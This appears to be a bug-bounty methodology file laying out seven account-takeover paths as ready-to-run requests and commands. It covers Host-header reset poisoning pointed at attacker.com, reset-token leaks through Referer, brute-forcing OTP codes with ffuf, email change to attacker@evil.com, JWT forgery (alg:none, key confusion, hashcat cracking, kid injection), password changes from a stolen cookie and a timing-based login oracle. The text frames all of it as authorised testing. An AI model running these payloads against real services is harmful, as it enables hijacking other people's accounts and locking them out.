hunt-ato

## 13. ATO — ACCOUNT TAKEOVER TAXONOMY
> 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.

### Path 1: Password Reset Poisoning (Host-Header)
```bash
POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

email=victimB@company.com
```
The reset mailer builds the link from the request Host header → link points to `attacker.com/reset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.
**False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.

### Path 2: Reset Token in Referer / Open-Redirect Leak
```
GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls
```
Also test reset pages that 302 to an open redirect carrying the token in the URL. **Proof:** capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by `Referrer-Policy: no-referrer` + tokens in POST body — note their absence.

### Path 3: Predictable / Weak Reset Tokens
```bash
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victimB@company.com","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable
```
**Discipline:** request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on `/forgot-password` is routinely rejected — the impact is token guessing, not request flooding.

### Path 4: Token No-Expiry / Reuse / Cross-Account
```
Expiry:  request token → wait 2h → still valid? = bug
Reuse:   use token once → use again → still valid? = bug
Multi:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
```

### Path 5: Email Change Without Re-Auth
```bash
PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"attacker@evil.com"}     # no current_password, no OTP, no email-confirm
```
If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.

### Path 6: JWT Manipulation
```bash
# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl -s https://target.com/.well-known/jwks.json   # or /oauth/.well-known/...  grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)
```
**Verified grounding for this class:** [CVE-2015-9235](https://nvd.nist.gov/vuln/detail/CVE-2015-9235) (node `jsonwebtoken` <4.2.2 — alg confusion / none bypass), [CVE-2016-10555](https://nvd.nist.gov/vuln/detail/CVE-2016-10555) (`jwt-simple` RS256→HS256). **Validate:** forged token must reach a privileged endpoint as victim B (e.g. `GET /api/admin` or `/api/users/B`) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged `sub` and keys off the session cookie, the JWT is not the trust boundary — no finding.

### Path 7: Password Change Without Step-Up + Login Oracle
```bash
# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"}          # no "current_password" field
#
# (b) login oracle to find a valid password without an existing cookie — measure response delta:
for p in $(cat candidates.txt); do
  t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
  printf '%s\t%s\n' "$t" "$p"
done | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass
```
A no-step-up password-change endpoint is the **persistence multiplier**: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device/IP, victim locked out. **False-positive check:** confirm there is genuinely no current-password / MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change